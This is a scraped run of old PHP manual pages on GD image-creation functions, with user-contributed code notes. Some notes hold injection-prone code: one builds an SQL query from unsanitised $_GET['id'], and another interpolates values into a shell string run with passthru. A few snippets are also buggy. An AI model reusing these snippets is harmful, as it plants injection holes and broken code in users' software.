While downloading images from internet, it's easiest to let php decide what is the file type. So, forget using imagecreatefromjpg, imagecreatefromgif and imagecreatefrompng. Instead, this is the way to go:

<?php
$src = "http://www.varuste.net/tiedostot/l_ylabanneri.jpg";
$image = imagecreatefromstring(file_get_contents($src));
?>
nfo[NOSPAM] at safernetworks dot net 08-Sep-2008 07:04
The only way I managed to resolve the loading of image files from file data either on local site or from off-site protocols is as follows. I hope this saves someone else the two hours of debugging and looking for good examples.
[PHP]

<?php
$sFile = "http://www.justgreatwine.co.uk/img/vineyard.jpg";
$imagedata = GetFileData($sFile); //load the file in 4k chunks
/*=======THE OUTPUT=========*/
ob_start();
// assuming you have image data in $imagedata
$length = strlen($imagedata);
header('Last-Modified: '.date('r'));
header('Accept-Ranges: bytes');
header('Content-Length: '.$length);
header('Content-Type: image/jpeg');
print($imagedata);
ob_end_flush();
/*======FUNCTIONS USED======*/
function GetFileData($sFilePath){
    $fp = fopen($sFilePath, 'rb') or die('404! Unable to open file!');
    $buf = '';
    while(!feof($fp)){
        $buf .= fgets($fp, 4096);
    }
    fclose($fp);
return $buf; //returns False if failed, else the contents up to FileSize bytes.
}
?>

[/PHP]
Blizzke at gmail dot com 13-Sep-2007 02:21
I use dynamically generated images that require a little touch-up before being displayed. So essentially I do some base work, then store the images in a memory cache (APC), reload the images again from the cache later on "into" GD, do final processing and then display the image.
Since I wanted to avoid a lot of disc access I used the output buffering functions:

<?php
   // Do your image processing stuff

   // Start buffering
   ob_start ( );
   ImageGD ( $hImage );
   $sImage = ob_get_contents ( );
   ob_end_clean ( );

   // Put stuff into cache

   // Reload from cache and recreate image
   $hImage = imagecreatefromstring ( $sImage );

   // Do final editing stuff and output image
?>

Of course this is a condensed example but I just wanted to share the idea.
lastname at firstnamelastname dot com 06-Nov-2006 05:22
This took me a while to figure out, so hopefully I'll save someone the trouble. There's some kind of nastiness that happens when trying to send an jpg or other image from a c# COM dll to php. I tried a number of different string formats and was unable to get them to talk to each other... something with the strings getting truncated.

The solution that I found (although clunky) is to convert the image to a byte array, and then convert each byte in the array to an int. Then pack those ints off into a string with a space between each one. Use explode on the php side and then you can call the all powerful imagecvreatefromstring function to do your bidding. :)

C# code:
public string DrawImage()
{
       Bitmap b = new Bitmap(@"c:\bob.jpg");
       MemoryStream str = new MemoryStream();
       b.Save(str, ImageFormat.Jpeg);
       byte[] buf = str.GetBuffer();
       return Convert(buf);
}

private string Convert(byte[] bytes)
{
      StringBuilder sb = new StringBuilder();
      for(int i = 0; i < bytes.Length; i++)
      {
           sb.Append(bytes[i].ToString());
           sb.Append(" ");
      }
      return sb.ToString();
}

And on the PHP side:

function GetImage()
{
    try
    {
        $image = $this->m_comInstance->DrawImage();
        $items = explode(" ", $image);
        $x = "";
        foreach($items as $i)
            $x .= chr($i);
        return imagecreatefromstring($x);
    }
    catch(Exception $e)
    {
        print($e);
    }
}

-Will Shaver
kanzure at gmail dot com 11-Jul-2006 09:18
Generating graphs in an external program (in this case, gnuplot) may cause problems. This is a solution hacked together in the late hours of night.

<?php
// get the values from, say, a database
$vals = "1 2\\\\n4 8\\\\n"; # etc
// construct the gnuplot_call variable, something like:
$gnuplot_call = "echo \"set term png; plot '<echo -e \\\"$vals\\\" ' ti 'Updated with' with line ; \" | gnuplot";
ob_start();
passthru($gnuplot_call, $gnuplot_call_output);
$image = imagecreatefromstring(ob_get_contents());
ob_end_clean();
imagepng($image); # display
?>
junkmail at pmobl dot com 25-Feb-2006 02:37
I know a lot of people have been having trouble using images from the Sprint PPC6700 with GD.  The jpeg library always thows an error about 16 bytes of extraneous data.  I decided to poke around in a hex editor and found those extraneous bytes occur right at the end of the exif data.

By removing this extraneous data, images can easily be manipulated by GD and the EXIF extension as a normal images.  This also removes any problems using the images with GIMP which must rely on the same jpeg libraries.

Here is a function that will check to see if an image is from the PPC6700 and then remove the extraneous data for you.  The result can successully be used with imagecreatefromstring

Author: Paul Visco
IM: paulsidekick
Created: 2-12-06

function checkFixPPC6700($orig){

    //get the file contents
    $data = file_get_contents($orig);

    //if its a PPC 6700 image cut out the extraneous 16 bits
    if(strstr($data, "\x41\x70\x61\x63\x68\x65\x00\x48")){
//this next line can all be one string I split it up so the form on php.net would accept it
        $bad_data ="\x00\x10\x4A\x46" . "\x49\x46\x00\x01\x01" . "\x00\x00\x01\x00\x01\x00\x00";
        return substr_replace($data, "", strpos($data, $bad_data),
        strlen($bad_data));
    } else {
        //if not from a PPC 6700 return data unaltered
         return $data;
    }

}
kakail at aei dot ca 26-Nov-2005 06:07
I found out that in PHP 4.3.2 and 4.3.4 that the 'imagecreatefromstring' function use a lot of memory when working with big image...
Try this piece of code with a big image (like 1Meg or more)
<?php
$loadFile = "http://bigimage.jpg";//Try with a big image
$im = imagecreatefromstring(file_get_contents($loadFile));
imagejpeg($im);
?>

With a 400k image. I run with a 16M Mem_limit but for a 1.4M image, the mem_limit required jump to more that 32M
alexandrebr at ignorethis dot gmail dot com 28-Aug-2005 05:08
An easy example to help understanding this function...

<?
$loadFile = "http://static.php.net/images/php.gif";

$im = imagecreatefromstring(file_get_contents($loadFile));
// identical to imagecreatefromgif($loadFile);
imagegif($im);
?>

The function will try to auto-determine file format (jpg, gif, png....), and will return false if fails.
paul at epeeps dot net 25-Jul-2005 07:39
I run a blogging site that allowed users to publish images from their cell phones.  For some reason, the nokia 3220 produces jpegs with extrandeous data before the EOF 0xFFF9

I wrote this class to allow you to fix the images so that they can be used with GD to resize and manipulate.  Without applying the fix both GD and gimp report errors for the file.  If basically keeps eating bytes from the junk part till the file is a valid jpeg.  Here is an example bunk pic written by a nokia 3220 that you cna test it with http://www.shawnrider.com/moblog/cache/0854747001121624103.jpg

/*
Author: Paul Visco
Hompage: http://www.elmwoodstrip.com?u=paul
AIM: paulsidekick
Notes:  The file allows you fix the jpegs created by the Nokia 3220 picture phone so that they can be manipulated using the GD library with PHP.

Usage:  Simply instanitiate the class and then call the fix method for each image.
e.g.
$nokia = new nokia;
$nokia->debug ="y";
$nokia->fix("yourpic.jpg");
*/

class nokia
{
    public $file;
    public $debug = "n";
    public $dir_name = "";
    private $img; //the image created from the string
    private $str;

    function fix($file)
    {

        //set the file to fix
        $this->file = $file;

        //load the file into a string
        $this->str = file_get_contents($this->file);

        //test to see if it is a nokia image or if it has been corrupted previously
        if (substr_count($this->str, chr(0x28).chr(0x36).chr(0x28).chr(0x2B)) == 0 || @imagecreatefromstring($this->str))
        {
            if ($this->debug =="y")
            {
                echo "\n<br />".$this->file." is not a corrupted Nokia pic";
            }

            return true;
        }

        //make a directory for fixed images if it doesn't exist and is specified
        if(!empty($this->dir_name) && !is_dir($this->dir_name))
        {
            @mkdir($this->dir_name, 0777);
        }

        //strip out the funk e crap from the file
        $this->eat($this->str);

        //write the file back to itself
        file_put_contents($this->dir_name.$this->file, $this->str);

        //return true for fixed
        return true;

    }

    function eat()
    {

        //check the image
        $this->img = @imagecreatefromstring($this->str);

        //if the image doesn't work then keep striping out crap
        while(!$this->img)
        {
            //cut off the bad bytes one by one
            $this->str= substr_replace($this->str, "", -3, -2);

            //check the image again
            $this->img = @imagecreatefromstring($this->str);
        }

        if ($this->debug =="y")
        {
            //notify the user it's fixed
            echo "\n<br />Nasty bits eaten!! ".$this->file." is fixed now thanks to p:labs!";
        }
        return true;
    }

}
not given 03-Aug-2003 02:14
A note to the previous question (if you still don't know it :))...

GIF's are 256 colors (or 8 bit), and the resample function needs true color I guess... that's why it works with JPG's and not with GIF's.

Next thing... you take a string, write it to file, open the file (imagecreatefromgif), and delete the file again.

if you do imagecreatefromstring($string) you can skip the temporary file part.
shiehj at yahoo dot com 11-Apr-2003 09:44
Here is the code I did to create a thumbnail image from the database blob field. The trick is to use "imagecreatefromstring()" to create an image file.

Jack Shieh

<?php
require("dbconfig.inc");

$id = $_GET['id'];

if($id) {

    $link = @mysql_connect($host, $user, $password) or die("Could not connect: " . mysql_error());
    @mysql_select_db($dbname, $link);

    $query = "select filetype, image from pictures where id = $id";
    $result = @mysql_query($query);

    $data = @mysql_result($result,0,"image");
    $type = @mysql_result($result,0,"filetype");

    Header( "Content-type: $type");

    $size = 150;  // new image width
    $src = imagecreatefromstring($data);
    $width = imagesx($src);
    $height = imagesy($src);
    $aspect_ratio = $height/$width;

    if ($width <= $size) {
      $new_w = $width;
      $new_h = $height;
    } else {
      $new_w = $size;
      $new_h = abs($new_w * $aspect_ratio);
    }

    $img = imagecreatetruecolor($new_w,$new_h);
    imagecopyresized($img,$src,0,0,0,0,$new_w,$new_h,$width,$height);

    // determine image type and send it to the client
    if ($type == "image/pjpeg") {
      imagejpeg($img);
    } else if ($type == "image/x-png") {
      imagepng($img);
    } else if ($type == "image/gif") {
      imagegif($img);
    }
    imagedestroy($img);
    mysql_close($link);
};
?>
adrian_schmidt at yahoo dot com 05-Mar-2003 04:04
I'm trying to get the imagecreatefromstring to work with GIFs. Of course, it won't.
I've read the tips but can't get them to work either.
The following is what I tried, based on above tips:

---

    header('Content-Type: image/gif');
    header('Content-Disposition: inline; filename=file.gif');

    $temp = tmpfile();
    fwrite($temp, $line['image']);
    $src_img = imagecreatefromgif($temp);
    fclose($temp); // this removes the file
    $dst_img = imagecreatetruecolor(100, 100);
    imagecopyresampled($dst_img, $src_img, 0,0,0,0, 100,100, imagesx($src_img), imagesy($src_img));

    imagegif($dst_img);

---

where $line['image'] is the gif as taken from my MySQL database...

If anyone that has been able to make something like this work could give me a working piece of code I'd be really greatful!

I would be great if the tempfile could be excluded too...

Below is a working piece of code for jpeg:

---

    header('Content-Type: image/jpeg');
    header('Content-Disposition: inline; filename=file.jpg');

    $src_img = imagecreatefromstring($line['image']);
    $dst_img = imagecreatetruecolor(100, 100);
    imagecopyresampled($dst_img, $src_img, 0,0,0,0, 100,100, imagesx($src_img), imagesy($src_img));

    imagejpeg($dst_img);
imagecreatefrompng
imagecreatefromwbmp
GD and Image Functions


Create a new image from file or URL

imagecreatefromstring
imagecreatefromxbm
GD and Image Functions
PHP Manual

imagecreatefromwbmp

(PHP 4 >= 4.0.1, PHP 5)

imagecreatefromwbmp — Create a new image from file or URL

Description

resource imagecreatefromwbmp ( string $filename )

imagecreatefromwbmp() returns an image identifier representing the image obtained from the given filename.

Tip

A URL can be used as a filename with this function if the fopen wrappers have been enabled. See fopen() for more details on how to specify the filename. See the Supported Protocols and Wrappers for links to information about what abilities the various wrappers have, notes on their usage, and information on any predefined variables they may provide.

Parameters

filename

Path to the WBMP image.

Return Values

Returns an image resource identifier on success, FALSE on errors.

Examples

Example #1 Example to handle an error during loading of a WBMP

<?php
function LoadWBMP($imgname)
{
    /* Attempt to open */
    $im = @imagecreatefromwbmp($imgname);

    /* See if it failed */
    if(!$im)
    {
        /* Create a blank image */
        $im  = imagecreatetruecolor(150, 30);
        $bgc = imagecolorallocate($im, 255, 255, 255);
        $tc  = imagecolorallocate($im, 0, 0, 0);

        imagefilledrectangle($im, 0, 0, 150, 30, $bgc);

        /* Output an error message */
        imagestring($im, 1, 5, 5, 'Error loading ' . $imgname, $tc);
    }

    return $im;
}

header('Content-Type: image/vnd.wap.wbmp');

$img = LoadWBMP('bogus.image');

imagewbmp($img);
imagedestroy($img);
?>

Notes

Note: WBMP support is only available if PHP was compiled against GD-1.8 or later.

Warning

Windows versions of PHP prior to PHP 4.3.0 do not support access of remote files via this function, even if allow_url_fopen is enabled.

User Contributed Notes

php at webdecker dot de 28-Jan-2010 03:05
To get the horizontal and vertical resolution you could add some lines to the previous code of alexander. BMP stores the resolution in pixels per meter. To get it as pixels per inch (dpi) you have to multiply the value by 0.0254.

<?php
    public function imagecreatefrombmp($p_sFile)
    {
            // ...
            // ... insert after the lines where you get width and height...

            //    Get the horz. resolution in pixel per meter, 4 bytes
            $dpix = hexdec($header_parts[39]. $header_parts[38]) * 0.0254;

            //    Get the vert. resolution in pixel per meter, 4 bytes
            $dpiy = hexdec($header_parts[43]. $header_parts[42]) * 0.0254;

            // ... rest of the code...

            return ($image, $dpix, $dpiy);
    }
?>
alexander at alexauto dot nl 08-Oct-2008 04:59
AeroX created a nice example, but it only works at specific imagesizes because bmp uses fully 32-bit lines. To prevent failures (different colors, pixel-shifting per line), the solution is to skip the padding, inserted after color-pixels on the line. His implementation did cutting the padding into the image-data, causing wrong colors, pixel-shifting per line and also an large memory-consumption.

I improved this script to the next implementation. The readability of a image is checked by a other function, so it doesn't take part in this script.
Suggestions? Please let me know.

<?php
    public function imagecreatefrombmp($p_sFile)
    {
        //    Load the image into a string
        $file    =    fopen($p_sFile,"rb");
        $read    =    fread($file,10);
        while(!feof($file)&&($read<>""))
            $read    .=    fread($file,1024);

        $temp    =    unpack("H*",$read);
        $hex    =    $temp[1];
        $header    =    substr($hex,0,108);

        //    Process the header
        //    Structure: http://www.fastgraph.com/help/bmp_header_format.html
        if (substr($header,0,4)=="424d")
        {
            //    Cut it in parts of 2 bytes
            $header_parts    =    str_split($header,2);

            //    Get the width        4 bytes
            $width            =    hexdec($header_parts[19].$header_parts[18]);

            //    Get the height        4 bytes
            $height            =    hexdec($header_parts[23].$header_parts[22]);

            //    Unset the header params
            unset($header_parts);
        }

        //    Define starting X and Y
        $x                =    0;
        $y                =    1;

        //    Create newimage
        $image            =    imagecreatetruecolor($width,$height);

        //    Grab the body from the image
        $body            =    substr($hex,108);

        //    Calculate if padding at the end-line is needed
        //    Divided by two to keep overview.
        //    1 byte = 2 HEX-chars
        $body_size        =    (strlen($body)/2);
        $header_size    =    ($width*$height);

        //    Use end-line padding? Only when needed
        $usePadding        =    ($body_size>($header_size*3)+4);

        //    Using a for-loop with index-calculation instaid of str_split to avoid large memory consumption
        //    Calculate the next DWORD-position in the body
        for ($i=0;$i<$body_size;$i+=3)
        {
            //    Calculate line-ending and padding
            if ($x>=$width)
            {
                //    If padding needed, ignore image-padding
                //    Shift i to the ending of the current 32-bit-block
                if ($usePadding)
                    $i    +=    $width%4;

                //    Reset horizontal position
                $x    =    0;

                //    Raise the height-position (bottom-up)
                $y++;

                //    Reached the image-height? Break the for-loop
                if ($y>$height)
                    break;
            }

            //    Calculation of the RGB-pixel (defined as BGR in image-data)
            //    Define $i_pos as absolute position in the body
            $i_pos    =    $i*2;
            $r        =    hexdec($body[$i_pos+4].$body[$i_pos+5]);
            $g        =    hexdec($body[$i_pos+2].$body[$i_pos+3]);
            $b        =    hexdec($body[$i_pos].$body[$i_pos+1]);

            //    Calculate and draw the pixel
            $color    =    imagecolorallocate($image,$r,$g,$b);
            imagesetpixel($image,$x,$height-$y,$color);

            //    Raise the horizontal position
            $x++;
        }

        //    Unset the body / free the memory
        unset($body);

        //    Return image-object
        return $image;
    }
?>
d at bwdp dot org 14-Aug-2008 04:07
why has php not made a predefined function like imagecreatefrombmp yet? surely there's more demand for it than there is for the wbmp function
AeroX @ aerox-studios 11-May-2008 02:54
.bmp is just hex encoded RGB values.
All you need to do is open in binary mode and seperate the header from the body.
Decode the width and height from the header.
Then create the image pixel by pixel from the RGB values in the body.

function imagecreatefrombmp( $filename )
{
    $file = fopen( $filename, "rb" );
    $read = fread( $file, 10 );
    while( !feof( $file ) && $read != "" )
    {
        $read .= fread( $file, 1024 );
    }
    $temp = unpack( "H*", $read );
    $hex = $temp[1];
    $header = substr( $hex, 0, 104 );
    $body = str_split( substr( $hex, 108 ), 6 );
    if( substr( $header, 0, 4 ) == "424d" )
    {
        $header = substr( $header, 4 );
        // Remove some stuff?
        $header = substr( $header, 32 );
        // Get the width
        $width = hexdec( substr( $header, 0, 2 ) );
        // Remove some stuff?
        $header = substr( $header, 8 );
        // Get the height
        $height = hexdec( substr( $header, 0, 2 ) );
        unset( $header );
    }
    $x = 0;
    $y = 1;
    $image = imagecreatetruecolor( $width, $height );
    foreach( $body as $rgb )
    {
        $r = hexdec( substr( $rgb, 4, 2 ) );
        $g = hexdec( substr( $rgb, 2, 2 ) );
        $b = hexdec( substr( $rgb, 0, 2 ) );
        $color = imagecolorallocate( $image, $r, $g, $b );
        imagesetpixel( $image, $x, $height-$y, $color );
        $x++;
        if( $x >= $width )
        {
            $x = 0;
            $y++;
        }
    }
    return $image;
}
clambert at whitecrown dot net 16-Jun-2001 01:47
WBMP images are Wireless Bitmaps, not Windows Bitmaps. WBMP is used for bandwidth constrained, black and white, limited devices such as PDAs and Cell Phones.
imagecreatefromstring
imagecreatefromxbm
GD and Image Functions


Create a new image from file or URL

imagecreatefromwbmp
imagecreatefromxpm
GD and Image Functions
PHP Manual

imagecreatefromxbm

(PHP 4 >= 4.0.1, PHP 5)

imagecreatefromxbm — Create a new image from file or URL

Description

resource imagecreatefromxbm ( string $filename )

imagecreatefromxbm() returns an image identifier representing the image obtained from the given filename.

Tip

A URL can be used as a filename with this function if the fopen wrappers have been enabled. See fopen() for more details on how to specify the filename. See the Supported Protocols and Wrappers for links to information about what abilities the various wrappers have, notes on their usage, and information on any predefined variables they may provide.

Parameters

filename

Path to the XBM image.

Return Values

Returns an image resource identifier on success, FALSE on errors.

Examples

Example #1 Convert an XBM image to a png image using imagecreatefromxbm()

<?php
// Load the xbm file
$xbm = imagecreatefromxbm('./example.xbm');

// Convert it to a png file
imagepng($xbm, './example.png');
imagedestroy($xbm);
?>

Notes

Warning

Windows versions of PHP prior to PHP 4.3.0 do not support access of remote files via this function, even if allow_url_fopen is enabled.

User Contributed Notes

There are no user contributed notes for this page.
imagecreatefromwbmp
imagecreatefromxpm
GD and Image Functions


Create a new image from file or URL

imagecreatefromxbm
imagecreatetruecolor
GD and Image Functions
PHP Manual

imagecreatefromxpm

(PHP 4 >= 4.0.1, PHP 5)

imagecreatefromxpm — Create a new image from file or URL

Description

resource imagecreatefromxpm ( string $filename )

imagecreatefromxpm() returns an image identifier representing the image obtained from the given filename.

Tip

A URL can be used as a filename with this function if the fopen wrappers have been enabled. See fopen() for more details on how to specify the filename. See the Supported Protocols and Wrappers for links to information about what abilities the various wrappers have, notes on their usage, and information on any predefined variables they may provide.

Parameters

filename

Path to the XPM image.

Return Values

Returns an image resource identifier on success, FALSE on errors.

Examples

Example #1 Creating an image instance using imagecreatefromxpm()

<?php
// Check for XPM support
if(!(imagetypes() & IMG_XPM))
{
    die('Support for xpm was not found!');
}

// Create the image instance
$xpm = imagecreatefromxpm('./example.xpm');

// Do image operations here

// PHP has no support for writing xpm images
// so in this case we save the image as a
// jpeg file with 100% quality
imagejpeg($xpm, './example.jpg', 100);
imagedestroy($xpm);
?>

Return Values

Note: This function is only available if PHP is compiled with the bundled version of the GD library.

Note: This function is not implemented on Windows platforms.

User Contributed Notes

There are no user contributed notes for this page.
imagecreatefromxbm
imagecreatetruecolor
GD and Image Functions


Create a new true color image

imagecreatefromxpm
imagedashedline
GD and Image Functions
PHP Manual

imagecreatetruecolor

(PHP 4 >= 4.0.6, PHP 5)

imagecreatetruecolor — Create a new true color image

Description

resource imagecreatetruecolor ( int $width , int $height )

imagecreatetruecolor() returns an image identifier representing a black image of the specified size.

Depending on your PHP and GD versions this function is defined or not. With PHP 4.0.6 through 4.1.x this function always exists if the GD module is loaded, but calling it without GD2 being installed PHP will issue a fatal error and exit. With PHP 4.2.x this behaviour is different in issuing a warning instead of an error. Other versions only define this function, if the correct GD version is installed.

Parameters

width

Image width.

height

Image height.

Return Values

Returns an image resource identifier on success, FALSE on errors.

Examples

Example #1 Creating a new GD image stream and outputting an image.

<?php
header ('Content-Type: image/png');
$im = @imagecreatetruecolor(120, 20)
      or die('Cannot Initialize new GD image stream');
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  'A Simple Text String', $text_color);
imagepng($im);
imagedestroy($im);
?>

The above example will output something similar to:

Output of example : Creating a new GD image stream and outputting an image.

Notes

Note: This function requires GD 2.0.1 or later (2.0.28 or later is recommended).

See Also

  • imagedestroy() - Destroy an image
  • imagecreate() - Create a new palette based image

User Contributed Notes

olivier dot pons at googlemail dot com 15-Aug-2011 06:27
Be aware of var_dump and var_export results:

<?php
$thumb_image = imagecreatetruecolor($thumb_width, $thumb_height);
echo "<p><pre>";
var_dump($thumb_image);
echo "</pre></p>";
echo "<p><pre>";
var_export($thumb_image);
echo "</pre></p>";
?>

Will give you:
resource(21) of type (gd)
NULL

So don't use only var_export() especially with those kind of functions.
arthur at kuhrmeier dot com 26-Aug-2010 08:38
HOW THE CHECK THE MEMORY BEFORE CREATING AN IMAGE?

I worked on a script where I delt with large images. Very often the error "out of memory" occured. So I had to figure out, how to check the memory BEFORE creating an image. I didn't find a solution on the web, so I ran my own test script. It built lots of images to compute the needed memory. I found out, that the formula mem = x * y * channel was not enough. There was an additional multiplier that varied. As a result 1.7 worked best. So the formula is: mem = x * y * channel * 1.7.

I post this script here hoping it is useful to someone who will run into the same problems.

<?php
//-------------------------------------------------- DEFINE MAXMEM
define ("MAXMEM", 32*1024*1024);  //--- memory limit (32M) ---

//-------------------------------------------------- ENOUGH MEMORY ?
function enoughmem ($x, $y, $rgb=3) {
    return ( $x * $y * $rgb * 1.7 < MAXMEM - memory_get_usage() );
}

//-------------------------------------------------- SIMPLE EXAMPLE
list ($x, $y) = @getimagesize ('your_img.jpg');  //--- get size of img ---
if (enoughmem($x,$y)) {
    $img = @imagecreatefromjpeg ('your_img.jpg');  //--- open img file ---
    $thumb = 200;  //--- max. size of thumb ---
    if ($x > $y) {
        $tx = $thumb;  //--- landscape ---
        $ty = round($thumb / $x * $y);
    } else {
        $tx = round($thumb / $y * $x);  //--- portrait ---
        $ty = $thumb;
    }
    if (enoughmem($tx,$ty)) {
        $thb = imagecreatetruecolor ($tx, $ty);  //--- create thumbnail ---
        imagecopyresampled ($thb,$img, 0,0, 0,0, $tx,$ty, $x,$y);
        imagejpeg ($thb, 'your_thumbnail.jpg', 80);
        imagedestroy ($thb);
    }
    imagedestroy ($img);
}

//--------------------------------------------------
//--- to check the memory working with           ---
//--- b/w-image or gif use:                      ---
//--------------------------------------------------
$check = enoughmem ($x, $y, 1);
?>

Taking the opportunity, I thank everyone here at php.net for the great manual and the useful user scripts.
Andreas A. 15-May-2010 05:06
Just a little code-snippet. That make it easy to design your homepage and customize your style rapidly.

<?php
$gradient=@imagecreatetruecolor(
    ($_GET["orientation"]=="vertical"? 1:(int)$_GET["pixel"]),
    ($_GET["orientation"]=="horizontal"? 1:(int)$_GET["pixel"]))
  or $gradient=@imagecreate(
    ($_GET["orientation"]=="vertical"? 1:$_GET["pixel"]),
    ($_GET["orientation"]=="horizontal"? 1:$_GET["pixel"]))
  or exit("error");
for($xy=0; $xy<(int)$_GET["pixel"]; $xy++)
  imageline($gradient,
    ($_GET["orientation"]=="vertical"?0:$xy),
    ($_GET["orientation"]=="horizontal"?0:$xy),
    ($_GET["orientation"]=="vertical"?0:$xy),
    ($_GET["orientation"]=="horizontal"?0:$xy),
      imagecolorallocate($gradient,
        round(
          hexdec(substr($_GET["color1"], 0, 2))-
          (
            hexdec(substr($_GET["color1"], 0, 2))
            -hexdec(substr($_GET["color2"], 0, 2)))
          /($_GET["pixel"]-1)*$xy),
        round(
          hexdec(substr($_GET["color1"], 2, 2))-
          (
            hexdec(substr($_GET["color1"], 2, 2))
            -hexdec(substr($_GET["color2"], 2, 2)))
          /($_GET["pixel"]-1)*$xy),
        round(
          hexdec(substr($_GET["color1"], 4, 2))-
          (
            hexdec(substr($_GET["color1"], 4, 2))-
            hexdec(substr($_GET["color2"], 4, 2)))
          /($_GET["pixel"]-1)*$xy)));
@header("Content-type: image/png");
imagepng($gradient);
imagedestroy($gradient);
?>

colorgradient.php?orientation=vertical&pixel=12& color1=ffffff&color2=000000 will output a 1 pixel width, 12 pixel height, color gradient from black to white.

If you want to hide from your clients, that you use php for generating the color gradient, just add following to your .htaccess:

RewriteEngine On
RewriteRule ^colorgradient_
    (vertical|horizontal)_
    ([1-9]{1}[0-9]*)_
    ([a-f0-9]{6})_
    ([a-f0-9]{6})\.png$
    colorgradient.php?
    orientation=$1&
    pixel=$2&
    color1=$3&
    color2=$4 [L]

And you only have to call colorgradient_vertical_12_ffffff_000000.png and it will be redirected to the file above.

I hope you can use this script above for your projects!

I'm sorry for the new lines... The code was too compact ;) for php.net...
hemjesti at yahoo dot com 28-May-2009 02:07
I put this together - combining two of the examples and then generated the text dynamically. but, with this set up, i was able to get the transparent background working as well.

<?php
// Set the content-type

header('Content-type: image/png');

// Create the image
$im = imagecreatetruecolor(175, 15);
imagesavealpha($im, true);

// Create some colors
$white = imagecolorallocate($im, 255, 255, 255);
$grey = imagecolorallocate($im, 128, 128, 128);
$black = imagecolorallocate($im, 0, 0, 0);
imagefilledrectangle($im, 0, 0, 150, 25, $black);
$trans_colour = imagecolorallocatealpha($im, 0, 0, 0, 127);
imagefill($im, 0, 0, $trans_colour);

// The text to draw
$text = $_GET['text'];
// Replace path by your own font path
$font = 'catriel regular.ttf';

// Add some shadow to the text
imagettftext($im, 9, 0, 13, 16, $black, $font, $text);

// Add the text
imagettftext($im, 9, 0, 12, 15, $white, $font, $text);

// Using imagepng() results in clearer text compared with imagejpeg()
imagepng($im);
imagedestroy($im);
?>
diegoth at gmail dot com 26-Sep-2008 08:59
Richard Davey rich at corephp dot co's code is "almost" great except that it creates some interference with file creation/reading under Debian R3 when using imagecreatetruecolor among with imagesavealpha and imagefill.

I have a code that creates a txt file with data that is readen by a second PHP file that later generates an image but I noted that the txt file was not found in the server. It worked fine in Windows but Debian just didn't keep the txt file in the directory.

I switched to thomas dot urban at toxa dot de's code with the corresponding fix on imagecolorallocatealpha instead of imagecolorallocate and it worked fine both in Windows and Debian. I also ignored the last thoma's code:

imagealphablending( $im, false );
imagesavealpha( $im, true );
imagepng( $im );

But it works fine if you include those lines too.
weareexit at yahoo dot co dot uk 10-Mar-2008 03:51
If you want to place an image on a larger canvas you've previously created with imagecreatetruecolor(), but you don't want the default black background to surround it: use imagefill() AFTER imagecopyresampled().

I have no idea why this should be the case, but it works!
Richard Davey rich at corephp dot co dot uk 22-May-2007 04:50
If you want to create a *transparent* PNG image, where the background is fully transparent, and all draw operations happen on-top of this, then do the following:

<?php
    $png = imagecreatetruecolor(800, 600);
    imagesavealpha($png, true);

    $trans_colour = imagecolorallocatealpha($png, 0, 0, 0, 127);
    imagefill($png, 0, 0, $trans_colour);

    $red = imagecolorallocate($png, 255, 0, 0);
    imagefilledellipse($png, 400, 300, 400, 300, $red);

    header("Content-type: image/png");
    imagepng($png);
?>

What you do is create a true colour image, make sure that the alpha save-state is on, then fill the image with a colour that has had its alpha level set to fully transparent (127).

The resulting PNG from the code above will have a red circle on a fully transparent background (drag the image into Photoshop to see for yourself)
phpnet at sjeiti dot com 06-Feb-2007 02:32
Just a small rectification for the msg by '
thomas dot urban at toxa dot de' (23-May-2006 03:28) about transparency.
Line 3 in the example returns a 'wrong parameter warning': 'imagecolorallocate' should be replaced by 'imagecolorallocatealpha'.
(You better just alter that note and delete this one.)
linkoovi at yaho dot com 11-Jan-2007 04:04
Fao all who r trying tu upload image and auto resize (make a thumba nail) and fet black thumb nail.

Try this:

U upload the image tu a specific DIR and when the big img is uploaded give the path tu big img to the function that makes the thumb nill.

i think that the problem is in
imagecreatefromjpeg($_FILE["bal"]["tmpName]");

SOLUTION:
imagecreatefromjpeg("test/thisimage.jpg");
the image MUST be there!

I hope this solves ur problems
behun at webconsult dot sk 27-Aug-2006 01:54
imagecreatetruecolor() returns not only image identifier representing a black image of size x_size by y_size.

imagecreatetruecolor() is called to create truecolor images, with an essentially unlimited number of colors (also not only 256 colors).
Florin [ florin.at.flachi.dot.net ] 21-Jul-2006 02:52
A very simple and efficient way to create RGB color from hexadecimal (HTML) notation:

<?php

    function color_hex2dec ($color) {
        return array (hexdec (substr ($color, 0, 2)), hexdec (substr ($color, 2, 2)), hexdec (substr ($color, 4, 2)));
    }

    list ($r, $g, $b) = color_hex2dec ('FFEECC');

?>
j.fenin _At_ seekport [d0t] biz 11-Jul-2006 09:09
I had a strange bug occurring under Debian Linux with PHP5.

In file B (where I create the image) I included a file (file A). The image that was produced was always corrupt. When I did not include file A, everything was fine.

After 2 hours of searching I found that there were some extra spaces and linefeeds after the PHP closing tag ?> in file A. After removing those chars, everything works fine again.

Obviously those extra bytes of file A were added to the image and corrupted it.
d dot duquenoy at kdland dot org 01-Jun-2006 01:26
My function to know how much bytes imagecreate or imagecreatetruecolor require before using it.
<?php
function getNeededMemoryForImageCreate($width, $height, $truecolor) {
  return $width*$height*(2.2+($truecolor*3));
}
?>
thomas dot urban at toxa dot de 22-May-2006 06:28
This is another approach to get an initially transparent truecolor canvas and in comparison to the one below it does not declare black to be transparent (which might be okay on indexed-color images and unless you want to draw in black) ...

$im = imagecreatetruecolor( $w, $h );
imagealphablending( $im, false );
$col = imagecolorallocate( $im, 0, 0, 0, 127 );
imagefilledrectangle( $im, 0, 0, $w, $h, $col );
imagealphablending( $im, true );

Without disabling blending mode this would paint transparent rectangle over current background thus not changing anything. Nevertheless blending mode is required e.g. to get proper results from using imagettftext ... that's why it is enabled after filling, again.

Don't miss to disable blending mode and enable savealpha prior to generating a PNG ...

imagealphablending( $im, false );
imagesavealpha( $im, true );
imagepng( $im );
send at mail dot 2aj dot net 24-Jun-2005 07:40
If you want a simple way to mirror images, use the function I've included below.

<?php
function image_mirror ($input_image_resource)
{
    $width = imagesx ( $input_image_resource );
    $height = imagesy ( $input_image_resource );
    $output_image_resource = imagecreatetruecolor ( $width, $height );
    $y = 1;

    while ( $y < $height )
    {
        for ( $i = 1; $i <= $width; $i++ )
            imagesetpixel ( $output_image_resource, $i, $y, imagecolorat ( $input_image_resource, ( $i ), ( $height - $y ) ) );
        $y = $y + 1;
    }

    return $output_image_resource;
}
?>
Example Usage:
<?php

// A good use of this is when a user uploads a TGA file,
// on the completion screen show the image and have a link
